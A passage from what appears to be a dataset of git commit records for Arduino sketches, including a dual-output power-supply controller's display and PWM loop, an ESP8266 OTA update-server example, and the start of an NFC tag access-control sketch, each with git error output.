= encoder1Val;\n }\n\n encoder2Val = knobLeftMitte.read()>>2;\n if (encoder2Val > encoder1Val) {\n encoder2Val = encoder1Val;\n knobLeftMitte.write(encoder1Val<<2);\n }\n if (encoder2Val < 0) {\n encoder2Val = 0;\n knobLeftMitte.write(0);\n }\n if (encoder2Val == 0) {\n digitalWrite(DISABLE_U1MIN, HIGH);\n }\n else {\n digitalWrite(DISABLE_U1MIN, LOW);\n }\n if (lastReportedPosE2 != encoder2Val) {\n color = 0x4111;\n if (digitalRead(RE_U1min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE2*100, encoder2Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n \n Serial.print(\"Encoder 2: \");\n Serial.println(encoder2Val, DEC);\n lastReportedPosE2 = encoder2Val;\n }\n\n encoder7Val = knobRight.read()>>2;\n if (encoder7Val > 600) { \n encoder7Val = 600;\n knobRight.write(600<<2);\n }\n if (encoder7Val < 0) {\n encoder7Val = 0;\n knobRight.write(0);\n }\n if (lastReportedPosE7 != encoder7Val) {\n color = 0x4111;\n if (digitalRead(RE_U2max) == 0) color = HX8357_YELLOW; \n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + 10, 3, color, lastReportedPosE7*100, encoder7Val*100, 4, \"V\");\n \/\/tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + 24);\n tft.print(\"max\");\n \n Serial.print(\"Encoder 7: \");\n Serial.println(encoder7Val, DEC);\n lastReportedPosE7 = encoder7Val;\n }\n\n encoder6Val = knobRightMitte.read()>>2;\n if (encoder6Val > encoder7Val) {\n encoder6Val = encoder7Val;\n knobRightMitte.write(encoder6Val<<2);\n }\n if (encoder6Val < 0) {\n encoder6Val = 0;\n knobRightMitte.write(0);\n }\n if (encoder6Val == 0) {\n digitalWrite(DISABLE_U2MIN, HIGH);\n }\n else {\n digitalWrite(DISABLE_U2MIN, LOW);\n }\n \n if (lastReportedPosE6 != encoder6Val) {\n color = 0x4111;\n if (digitalRead(RE_U2min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE6*100, encoder6Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n\n \n Serial.print(\"Encoder 6: \");\n Serial.println(encoder6Val, DEC);\n lastReportedPosE6 = encoder6Val;\n }\n\n encoder5Val = knobUnten.read()>>2;\n if (encoder5Val > 1500) { \n encoder5Val = 1500;\n knobUnten.write(1500<<2);\n }\n if (encoder5Val < -1500) {\n encoder5Val = -1500;\n knobUnten.write(-1500*4);\n }\n if (lastReportedPosE5 != encoder5Val) {\n color = 0x4111;\n if (digitalRead(RE_U2min) == 1 && digitalRead(RE_U2max) == 1 && digitalRead(RE_U1min) == 1 && digitalRead(RE_U1max) == 1) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, 3*BOXSIZE-31, 3, color, lastReportedPosE5*10, encoder5Val*10, 4, \"A\");\n \/\/ tft.print(\"A\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE*3-31+14);\n tft.print(\"soll\");\n \n Serial.print(\"Encoder 5: \");\n Serial.println(encoder5Val, DEC);\n lastReportedPosE5 = encoder5Val;\n }\n \n\n\n \n if ((digitalRead(BUTTON_KNOP1) == LOW) && (runState == false)){\n u1 = analogRead(ADC_U1);\n u1 = map(u1,0, 4095, 0, 693); \n knobLeft.write((u1+10)<<2); \n Serial.println(\"Taste1\");\n }\n if ((digitalRead(BUTTON_KNOP2) == LOW ) && (runState == false)) {\n knobLeftMitte.write(0); \n Serial.println(\"Taste2\");\n }\n if ((digitalRead(BUTTON_KNOP5) == LOW ) && (runState == false)) {\n knobUnten.write(0); \n Serial.println(\"Taste5\");\n }\n if ((digitalRead(BUTTON_KNOP6) == LOW ) && (runState == false)) {\n knobRightMitte.write(0); \n Serial.println(\"Taste6\");\n }\n if ((digitalRead(BUTTON_KNOP7) == LOW ) && (runState == false)) {\n u2 = analogRead(ADC_U2);\n u2 = map(u2,0, 4095, 0, 693); \n knobRight.write((u2+10)<<2); \n Serial.println(\"Taste7\");\n }\n if ((digitalRead(BUTTON_KNOP1) == LOW) && (digitalRead(BUTTON_KNOP7) == LOW)) {\n tft.fillScreen(HX8357_BLACK); \/\/TFT\n Serial.println(\"ClearScreen\");\n presetAnnKinnTonn();\n }\n\n\n\n if ((digitalRead(BUTTON_KNOP2) == LOW ) && (runState == true)) {\n Serial.print(\"UAREF: \");Serial.print((long) GEMESSENE_2V5_REFERENZ * 65536 \/ iir2V5ref);\n Serial.print(\" Version: \");Serial.print((float)VERSION\/100);\n Serial.print(\" U1min: \");Serial.print(digitalRead(RE_U1min));\n Serial.print(\" U1max: \");Serial.print(digitalRead(RE_U1max));\n Serial.print(\" U2min: \");Serial.print(digitalRead(RE_U2min));\n Serial.print(\" U2max: \");Serial.println(digitalRead(RE_U2max));\n }\nint regErkNew = digitalRead(RE_U1min)*8 + digitalRead(RE_U1max)*4 + digitalRead(RE_U2min)*2 + digitalRead(RE_U2max);\nif (regErkNew != ReglerErkennung){\n color = 0x4111;\n if (digitalRead(RE_U1max) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + 10, 3, color, lastReportedPosE1*100, encoder1Val*100, 4, \"V\");\n \/\/tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + 24);\n tft.print(\"max\"); \n\n color = 0x4111;\n if (digitalRead(RE_U1min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE2*100, encoder2Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n \n\n color = 0x4111;\n if (digitalRead(RE_U2max) == 0) color = HX8357_YELLOW; \n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + 10, 3, color, lastReportedPosE7*100, encoder7Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + 24);\n tft.print(\"max\");\n\n color = 0x4111;\n if (digitalRead(RE_U2min) == 0) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, BOXSIZE + BOXSIZE-31, 3, color, lastReportedPosE6*100, encoder6Val*100, 4, \"V\");\n \/\/ tft.print(\"V\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE + BOXSIZE-31+14);\n tft.print(\"min\");\n\n color = 0x4111;\n if (digitalRead(RE_U2min) == 1 && digitalRead(RE_U2max) == 1 && digitalRead(RE_U1min) == 1 && digitalRead(RE_U1max) == 1) color = HX8357_YELLOW;\n tftTextWertUpdate(BOXSIZE+25+x, 3*BOXSIZE-31, 3, color, lastReportedPosE5*10, encoder5Val*10, 4, \"A\");\n \/\/ tft.print(\"A\");\n tft.setTextSize(1);\n tft.setCursor(BOXSIZE+134, BOXSIZE*3-31+14);\n tft.print(\"soll\");\n\n \/\/\/\/\/\n \n}\nReglerErkennung = regErkNew;\n \n \/\/--------------------------- ADC ---------------------------------------------------------- \n\n u2V5Ref = analogRead(ADC_2V5Ref);\n \/\/iir2V5ref = u2V5Ref;\n iir2V5ref = iir2V5ref - iir2V5ref\/16;\n iir2V5ref = u2V5Ref + iir2V5ref;\n \n uADC = GEMESSENE_2V5_REFERENZ * 65536 \/ iir2V5ref; \/\/ADC-Spannung in mV\n\n u1 = analogRead(ADC_U1);\n u2 = analogRead(ADC_U2);\n \n iref = analogRead(ADC_IREF);\n i1 = analogRead(ADC_I1);\n i2 = analogRead(ADC_I2);\n\n\/\/Alternative Strom-Berechnung....hoffentlich genauer **************** ja e ganz gut...\n\/*\nint aI1, aI2;\n aI1 = i1-iref;\n aI2 = i2-iref;\n\n iirAI1 = iirAI1 - iirAI1\/16;\n iirAI1 = aI1 + iirAI1;\n\n iirAI2 = iirAI2 - iirAI2\/16;\n iirAI2 = aI2 + iirAI2;\n \n\n*\/\n\/\/********************************************************************\n \n iirU1 = iirU1 - iirU1\/16;\n iirU1 = u1 + iirU1;\n\n iirU2 = iirU2 - iirU2\/16;\n iirU2 = u2 + iirU2;\n\n iirI1 = iirI1 - iirI1\/16;\n iirI1 = i1 + iirI1;\n\n iirI2 = iirI2 - iirI2\/16;\n iirI2 = i2 + iirI2;\n\n iirIref = iirIref - iirIref\/16;\n iirIref = iref + iirIref;\n \n if (statemachineCounter >= 3000) {\n \n u1 = map(iirU1,0, 65535, 0, (long) uADC*21*1001\/1000)+ 50; \/\/guteStellezumKalibrieren !!!\n u2 = map(iirU2,0, 65535, 0, (long) uADC*21*996\/1000) +146; \/\/Faktor 0,996 Offset 146mV sollte lieber alles in mV gehalten sein\n i1 = map(iirI1,0, 65535, 0, uADC*10);\n i2 = map(iirI2,0, 65535, 0, uADC*10);\n \/\/aI1 = map(iirAI1,0, 65535, 0, uADC*100\/18);\n \/\/aI2 = map(iirAI2,0, 65535, 0, uADC*100\/18);\n iref = map(iirIref,0, 65535, 0, uADC*10);\n\n i1 = (iref - i1)*10\/18; \/\/nur mit mit Stromrichtungsumbau i1!\n i2 = (i2 - iref)*10\/18;\n \n lastU1 = tftTextWertUpdate(10, BOXSIZE + BOXSIZE\/2-14, 4, HX8357_BLUE, lastU1, u1,4, \"V\");\n \/\/ tft.print(\"V\");\n \/\/ jetzt mit Leistungsanzeige!************************\n p1 = u1 * i1 \/ 1000;\n lastP1 = tftTextWertUpdate(20, BOXSIZE\/2-14-40, 3, HX8357_MAGENTA, lastP1, p1,5, \"W\");\n \/\/ tft.print(\"W\"); \n \/\/***************************************************-\n lastI1 = tftTextWertUpdate(10, BOXSIZE + BOXSIZE\/2-14+BOXSIZE, 4, HX8357_RED, lastI1, i1,4, \"A\");\n \/\/tft.print(\"A\");\n \/\/lastAI1 = tftTextWertUpdate(10, BOXSIZE + 14+BOXSIZE, 2, HX8357_RED, lastAI1*100, aI1*100,5);\n \/\/tft.print(\"mA\");\n \n \n \/\/U2 \n lastU2 = tftTextWertUpdate(10+BOXSIZE, BOXSIZE + BOXSIZE\/2-14, 4, HX8357_BLUE, lastU2, u2,4, \"V\");\n \/\/tft.print(\"V\");\n \n \/\/ jetzt mit Leistungsanzeige!*********************\n p2 = u2 * i2 \/ 1000;\n lastP2 = tftTextWertUpdate(20+BOXSIZE, BOXSIZE\/2-14-40, 3, HX8357_MAGENTA, lastP2, p2,5, \"W\");\n \/\/tft.print(\"W\"); \n \/\/***************************************************-\n lastI2 = tftTextWertUpdate(10+BOXSIZE, BOXSIZE + BOXSIZE\/2-14+BOXSIZE, 4, HX8357_RED, lastI2, i2,4, \"A\");\n \/\/tft.print(\"A\");\n \/\/lastAI2 = tftTextWertUpdate(10+BOXSIZE, BOXSIZE + 14+BOXSIZE, 2, HX8357_RED, lastAI2*100, aI2*100,5);\n \/\/tft.print(\"mA\");\n\nint newNTC1 = analogRead(ADC_NTC1);\nint newNTC2 = analogRead(ADC_NTC2);\n\n tftTextWertUpdate(40,BOXSIZE\/3+5, 1, 0xAAAA,(3520-lastNTC1)*1000\/24,(3520-newNTC1)*1000\/24, 4, \" GC NTC1\");\n \/\/ tft.print(\" GC NTC1\");\n tftTextWertUpdate(BOXSIZE + 45,BOXSIZE\/3+5, 1, 0xAAAA,(3520-lastNTC2)*1000\/24,(3520-newNTC2)*1000\/24, 4, \" GC NTC2\");\n \/\/tft.print(\" GC NTC2\");\n\n lastNTC1 = newNTC1;\n lastNTC2 = newNTC2;\n \n }\n \n\n\/\/******************************************PWM Settings********************************************** \n \/\/ REG_PWM_CDTY2 = 2000; \/\/TFT-Backlight\n \/\/ if (REG_PWM_CDTY2 > 6000) REG_PWM_CDTY2 = 0;\n\n int kalibrierterPWMU1Max= map(encoder1Val, 0, 2*uADC, 0 , MaxPWMCount*10+ 50);\n if (kalibrierterPWMU1Max > 12) kalibrierterPWMU1Max -=12; \/\/Offset einrechnen und verhindern da\u00df Wert negativ wird \n REG_PWM_CDTY3 = kalibrierterPWMU1Max;\n\n int kalibrierterPWMU1Min= map(encoder2Val, 0, 2*uADC, 0 , MaxPWMCount*10- 100);\n if (kalibrierterPWMU1Min > 10) kalibrierterPWMU1Min -=10;\n REG_PWM_CDTY2 = kalibrierterPWMU1Min;\n \/\/ nix mehr analogWrite(PWM_bla_bla, ...\n \/\/ Faktor v v Offset\n \n int kalibrierterPWMU2Max= map(encoder7Val, 0, 2*uADC, 0 , MaxPWMCount*10- 300);\n if (kalibrierterPWMU2Max > 15) kalibrierterPWMU2Max -=15; \/\/Offset einrechnen und verhindern da\u00df Wert negativ wird\n REG_PWM_CDTY6 = kalibrierterPWMU2Max; \/\/ Faktor und Offset wurden durch probieren bestimmt\n \n int kalibrierterPWMU2Min= map(encoder6Val, 0, 2*uADC, 0 , MaxPWMCount*10- 300);\n if (kalibrierterPWMU2Min > 15) kalibrierterPWMU2Min -=15;\n REG_PWM_CDTY7 = kalibrierterPWMU2Min;\n\n \n\n if (statemachineCounter%200 == 0) {\n if (abs(lastI2) <= 400) NullpunktPWM = MaxPWMCount\/2; \/\/Normalzustand, in beide Richtungen gleich\n if (lastI2 > 400) {\n NullpunktPWM = NullpunktPWM - 30;\n if (NullpunktPWM <= MaxPWMCount \/ 8) NullpunktPWM = MaxPWMCount \/ 8;\n \/\/Serial.println(\"Jetzt fliessen \u00fcber 4A\");\n }\n if (lastI2 < -400){\n NullpunktPWM =NullpunktPWM + 30;\n if (NullpunktPWM >= MaxPWMCount *7 \/ 8) NullpunktPWM = MaxPWMCount *7 \/ 8;\n \/\/Serial.println(\"Jetzt fliessen unter -4A\");\n }\n \/\/Serial.print(\"Nullpunkt: \");Serial.print(NullpunktPWM);Serial.print(\" i2: \");Serial.println(lastI2);\n }\n \n REG_PWM_CDTY4 = NullpunktPWM; \/\/nur mit Umbau, sonst sollte immer \/\/genau auf die H\u00e4lfte\n REG_PWM_CDTY5 = map(encoder5Val, -916, 916, NullpunktPWM - MaxPWMCount\/2 , NullpunktPWM + MaxPWMCount\/2); \/\/Stromstellwert \n if (REG_PWM_CDTY5 <= 0) REG_PWM_CDTY5 = 0;\n\n\n if (statemachineCounter >=3000) statemachineCounter = 0;\n statemachineCounter++;\n\n \/\/RUN\/Stop-Taste***************************************************************************************************************************************\n int runTaste = digitalRead(RUN_TASTER);\n if (!runTaste && lastRunTaste && millis()-timestampRunTaste > ENTPRELLMILLIS){\n if (!runState) {\n pinMode(DCDCENTRI, OUTPUT);\n \/\/PORTB |= _BV(PIN1); \/\/auf HIGH\n digitalWrite(DCDCENTRI,HIGH);\n delayMicroseconds(10);\n pinMode(DCDCENTRI, INPUT);\n runState = true;\n tft.drawRect(10, BOXSIZE\/3+20, 2*BOXSIZE-20, BOXSIZE*2\/3-25, 0xD1CC);\n tft.setCursor(BOXSIZE\/2,BOXSIZE\/2+30);\n tft.setTextSize(2);\n tft.setTextColor(HX8357_RED);\n tft.print(\"...running!\"); \n }\n else {\n runState = false;\n tft.drawRect(10, BOXSIZE\/3+20, 2*BOXSIZE-20, BOXSIZE*2\/3-25, HX8357_BLACK);\n tft.setCursor(BOXSIZE\/2,BOXSIZE\/2+30);\n tft.setTextSize(2);\n tft.setTextColor(HX8357_BLACK);\n tft.print(\"...running!\"); \n }\n timestampRunTaste = millis();\n }\n lastRunTaste = runTaste;\n if (!digitalRead(DCDCENTRI)) {runState = false;}; \/\/Wenn der Wandler wegen \u00dcberspannung abgeworfen wird\n\n if(runState) {\n digitalWrite(RUN_LED,HIGH);\n if (statemachineCounter >= 3000) {\n \/\/tft.fillRect(15, BOXSIZE*2+15, BOXSIZE-30, BOXSIZE-55, HX8357_BLACK);\n\n \/\/etwas das jeden Durchlauf im Run State passieren soll.\n }\n }else {\n digitalWrite(RUN_LED,LOW); \n pinMode(DCDCENTRI, OUTPUT);\n digitalWrite(DCDCENTRI,LOW);\n }\n \/\/Taste4***************************************************************************************************************************************\n int taste4 = digitalRead(TASTER4);\n if (!taste4 && lastTaste4 && millis()-timestampTaste4 > ENTPRELLMILLIS){\n if (!taste4State) {\n \/\/do something einmal bei Tastendruck\n taste4State = true;\n }\n else {\n \/\/do something einmal bei Tastendruck\n taste4State = false;\n }\n timestampTaste4 = millis();\n }\n lastTaste4 = taste4;\n \/\/if (!digitalRead(??)) {taste4State = false;}; \/\/Wenn der On-Zustand verlassen werden soll\n\n if(taste4State) {\n \/\/do something dauerhaft bis zum n\u00e4chsten Tastendruck\n REG_PWM_CDTY1 = 800; \/\/TFT-Backlight\n \n \/\/digitalWrite(LED4,HIGH);\n }else {\n \/\/do something dauerhaft bis zum n\u00e4chsten Tastendruck\n \/\/digitalWrite(LED4,LOW); \n REG_PWM_CDTY1 = 3000; \/\/TFT-Backlight \n \/\/pinMode(3, INPUT);\n \/\/pinMode(4, INPUT);\n \n }\ndigitalWrite(LED4,LOW); \/\/Weil sonst niemand das Licht ausmacht\n \/\/-------------------------------------------------------------------------------------\n\n}\n\/\/######################################################################################################\nvoid tftPrintFloatMilli(int x, int y, int Textsize, int Color,int WertInMilliEinheiten, char* Einheit, int Offset){\n if ((WertInMilliEinheiten == abs(WertInMilliEinheiten)) && (WertInMilliEinheiten < 10000)){\n Offset += 3;\n }else if ((WertInMilliEinheiten > -10000) && (WertInMilliEinheiten < 100000)){\n Offset += 2;\n }else if ((WertInMilliEinheiten > -100000) && (WertInMilliEinheiten < 1000000)){\n Offset += 1;\n }\n Offset = Offset * Textsize * 6; \/\/Pixelabstand 6 Pixel pro Zeichen\n tft.setCursor(x + Offset,y);\n tft.setTextSize(Textsize);\n tft.setTextColor(Color);\n tft.print((float) WertInMilliEinheiten\/1000);\n tft.print(Einheit);\n}\n\nint tftTextWertUpdate(int x, int y, int Textsize, int Color,int lastWert,int newWert, int digits, char* Einheit){\n int aktuellerText, xOff;\n\n if (digits == 4) xOff = -2;\n if (digits == 5) xOff = -1;\n \n tftPrintFloatMilli(x, y, Textsize, HX8357_BLACK, lastWert, Einheit, xOff);\n tftPrintFloatMilli(x, y, Textsize, Color, newWert, Einheit, xOff);\n \n aktuellerText = newWert;\n return aktuellerText;\n}\n\n\/\/preset\nvoid presetAnnKinnTonn(){\n int u1,u2;\n u1 = analogRead(ADC_U1);\n u1 = map(u1,0, 4095, 0, 693); \n knobLeft.write((u1+10)<<2); \n u2 = analogRead(ADC_U2);\n u2 = map(u2,0, 4095, 0, 693); \n knobRight.write((u2+10)<<2); \n tft.drawRect(1, BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C0);\n tft.drawRect(BOXSIZE + 1, BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C0);\n tft.drawRect(1, 2*BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C1);\n tft.drawRect(BOXSIZE + 1, 2*BOXSIZE + 1, BOXSIZE-2, BOXSIZE-2, 0x51C1);\n tft.drawRect(1, 1, BOXSIZE-2, BOXSIZE\/3+15, 0x51C1);\n tft.drawRect(BOXSIZE + 1, 1, BOXSIZE-2, BOXSIZE\/3+15, 0x51C1);\n\n tft.setCursor(BOXSIZE\/2-10,BOXSIZE\/2);\n tft.setTextSize(2);\n tft.setTextColor(0x7542);\n tft.print(\"Energy2Work \"); tft.print((float) VERSION\/100);\n \n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'E2W_0.65.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f5e2e33353422885da7996527796f3810432d8e","subject":"Create UpdatePack_simple.ino","message":"Create UpdatePack_simple.ino","repos":"davidgevorgian\/ESP8266UpdatePack","old_file":"examples\/UpdatePack_simple\/UpdatePack_simple.ino","new_file":"examples\/UpdatePack_simple\/UpdatePack_simple.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n#include \"ESP8266UpdatePack.h\"\n#include \"FS.h\"\n\n#define led_onboard 2 \/* ESP-12 led on board connected to pin 2 *\/\n\nconst char* ssid = \"wifi_ssid\";\nconst char* password = \"wifi_password\";\nconst char* username = \"admin\";\nconst char* userpassword = \"\";\n\nESP8266UpdatePack hupdate;\nESP8266WebServer server(80);\n\nvoid setup(void){\n SPIFFS.begin(); \/\/If use SPIFFS files\n \n #ifdef led_onboard\n pinMode(led_onboard, OUTPUT);\n digitalWrite(led_onboard,HIGH);\n #endif\n \n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n #ifdef led_onboard\n digitalWrite(led_onboard,!digitalRead(led_onboard));\n #endif\n delay(500);\n }\n\n server.onNotFound(handleNotFound);\n hupdate.set(&server,\"\/pkgupdate\",username,userpassword); \/\/Setup Update Server\n server.begin();\n}\n\nvoid loop(void){\n server.handleClient();\n}\n\nvoid handleNotFound(){\n server.send(404, \"text\/plain\", \"404, FileNotFound.\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/UpdatePack_simple\/UpdatePack_simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8f0d0ecc9555b0bc166d2458c27da9144339995","subject":"Create ptr_ref.ino","message":"Create ptr_ref.ino","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"ptr_ref.ino","new_file":"ptr_ref.ino","new_contents":"int float_switch_one = 2;\nint *p = &float_switch_one;\nvoid setup(){Serial.begin(9600);\npinMode(*p,OUTPUT);}\nvoid loop(){Serial.println(digitalRead(*p));}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ptr_ref.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4649740e45ba1656d4fd5d1986d3f885642d3159","subject":"Removed compiled programs examples from the .ino, they are no longer necessary now that we have the UziEncoder implemented.","message":"Removed compiled programs examples from the .ino, they are no longer necessary now that we have the UziEncoder implemented.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"077b6fffe47e9d0e792de7f50bc8b3ec2a88fd19","subject":"Fixed null reference bug.","message":"Fixed null reference bug.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"12baac4c18c5d50dbf03a75e8c92b5d6f14e0d6f","subject":"Actual first commit.","message":"Actual first commit.\n","repos":"Bigomby\/Armi-Acco","old_file":"nfc_access_control.ino","new_file":"nfc_access_control.ino","new_contents":"#include <MD5.h>\n#include <Adafruit_NFCShield_I2C.h>\n#include <Wire.h>\n#include <EEPROM.h>\n\n#define IRQ (2)\n#define RESET (3)\n#define SRX (8)\n#define STX (9)\n\n#define INIT_NORMAL 100\n#define NORMAL 101\n#define INIT_LEARNING 200\n#define LEARNING 201\n#define INIT_MASTER 400\n#define MASTER 401\n#define INIT_CLEAR 500\n#define CLEAR 501\n\n\/*****************************************************************************\n* Librer\u00edas externas\n******************************************************************************\/\nAdafruit_NFCShield_I2C nfc(IRQ, RESET);\n\n\/*****************************************************************************\n* Master TAG\n******************************************************************************\/\nchar MASTER_TAG[] = \"9fafcd5cf37c6dfb25b4fa30895eb594\";\nchar ALLOWED[16][33];\nint ALLOWED_NUM;\n\n\/*****************************************************************************\n* Variables globales\n******************************************************************************\/\nint buzzer = 11;\nint greenLed = 12;\nint redLed = 13;\nlong previousMillis = 0;\nlong interval = 2000;\nchar uid[12];\nchar uid_add[12];\nchar uid_conf[12];\nchar *puid = uid;\nchar *puid_add = uid_add;\nchar *puid_conf = uid_conf;\nint pr = 0; \/\/ Puntero a la EEPROM para leer\nint pw = 0; \/\/ Puntero a la EEPROM para escribir\nint i = 0; \/\/ \u00cdndice de bucle\nint j = 0; \/\/ \u00cdndice de bucle\nuint8_t id_count;\nunsigned char *hash;\nchar *md5str;\nlong learningMillis = 0;\nuint8_t *buff;\nchar *uid_byte;\nchar *tmp_uid;\n\nint mode = 0;\n\nvoid setup() {\n\n Serial.begin(115200);\n nfc.begin();\n\n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"No se encuentra el lector NFC\");\n while (1); \/\/ halt\n }\n\n \/\/ Encontrado el lector NFC, se imprimen los datos\n Serial.print(\"Encontrado PN5\"); Serial.println((versiondata >> 24) & 0xFF, HEX);\n Serial.print(\"Firmware ver. \"); Serial.print((versiondata >> 16) & 0xFF, DEC);\n Serial.print('.'); Serial.println((versiondata >> 8) & 0xFF, DEC);\n\n \/\/ Se ajusta el n\u00famero m\u00e1ximo de reintentos de lectura\n nfc.setPassiveActivationRetries(1);\n\n \/\/ Se configura para leer TAGs RFID\n nfc.SAMConfig();\n\n \/\/ Buzzer, LED verde, LED rojo\n pinMode(11, OUTPUT);\n pinMode(12, OUTPUT);\n pinMode(13, OUTPUT);\n\n digitalWrite(11, HIGH);\n digitalWrite(12, HIGH);\n digitalWrite(13, HIGH);\n}\n\nvoid loop() {\n state();\n}\n\nvoid state() {\n switch (mode) {\n case INIT_NORMAL: \/\/ Inicia normal\n init_normal();\n mode = NORMAL;\n break;\n case NORMAL: \/\/ Normal\n mode_normal();\n break;\n case INIT_LEARNING: \/\/ Inicia aprendizaje\n init_learning();\n mode = LEARNING;\n break;\n case LEARNING: \/\/ Aprendizaje 1\n mode_learning_feedback();\n mode_learning();\n break;\n case INIT_MASTER:\n init_master();\n mode = MASTER;\n break;\n case MASTER:\n mode_master_feedback();\n mode_master();\n break;\n case INIT_CLEAR:\n init_clear();\n mode = CLEAR;\n break;\n case CLEAR:\n mode_clear_feedback();\n mode_clear();\n break;\n default:\n mode = INIT_NORMAL;\n }\n}\n\nvoid init_learning() {}\n\nvoid init_normal() {\n int pr = 0; \/\/ Puntero a la EEPROM para leer\n int i = 0;\n int j = 0;\n ALLOWED_NUM = 0;\n\n digitalWrite(redLed, HIGH);\n digitalWrite(greenLed, HIGH);\n\n Serial.println(\"Actualizando IDs...\");\n\n ALLOWED_NUM = EEPROM.read(pr); pr++;\n\n Serial.print(\"Hay \"); Serial.print(ALLOWED_NUM); Serial.print(\" IDs autorizadas.\");\n Serial.println(\"\");\n\n for (i = 0 ; i < ALLOWED_NUM ; i++) {\n for (j = 0 ; j < 32 ; j++) {\n ALLOWED[i][j] = EEPROM.read(pr); pr++;\n }\n ALLOWED[i][32] = '\\0';\n }\n}\n\nvoid mode_normal() {\n\n if (readID(&puid) > 0) {\n Serial.print(\"UID: \"); Serial.println(uid);\n checkID(uid);\n }\n}\n\nuint8_t readID(char **r_uid) {\n\n boolean success;\n uint8_t uidLength;\n int ret = 0;\n int i = 0;\n\n if (millis() - previousMillis > interval) {\n\n buff = (uint8_t *) calloc(12, sizeof(uint8_t));\n\n success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, &buff[0], &uidLength);\n\n if (success && uidLength == 4) { \/\/ Si se ha le\u00eddo correctamente una UID de 4 bytes\n uid_byte = (char *) calloc(4, sizeof(char));\n tmp_uid = (char *) calloc(12, sizeof(char));\n for (i = 0 ; i < 4 ; i++) { \/\/ Pasamos los 4 bytes a una cadena en HEX\n\n snprintf(uid_byte, 3 , \"%02X\", buff[i]);\n strncat(tmp_uid, uid_byte, 2);\n }\n\n strncpy(*r_uid, tmp_uid, 8);\n free(uid_byte);\n free(tmp_uid);\n ret = 1;\n previousMillis = millis();\n } else {\n ret = 0;\n }\n\n free(buff);\n }\n\n return ret;\n}\n\nvoid checkID(char *c_uid) {\n\n int found = 0;\n int i = 0;\n\n unsigned char *hash = MD5::make_hash(c_uid);\n char *md5str = MD5::make_digest(hash, 16);\n\n if (!strncmp(md5str, MASTER_TAG, 32)) {\n found = 100;\n } else {\n for (i = 0 ; i < ALLOWED_NUM ; i++) {\n\n if (!strncmp(md5str, ALLOWED[i], 32)) {\n found = 200;\n }\n }\n }\n free(hash);\n free(md5str);\n\n switch (found) {\n case 200:\n success();\n break;\n case 100:\n mode = INIT_MASTER;\n break;\n default:\n fail();\n }\n}\n\nvoid success() {\n\n Serial.println(\"ACCESO PERMITIDO\");\n\n digitalWrite(greenLed, LOW);\n digitalWrite(buzzer, LOW);\n delay(750);\n digitalWrite(greenLed, HIGH);\n digitalWrite(buzzer, 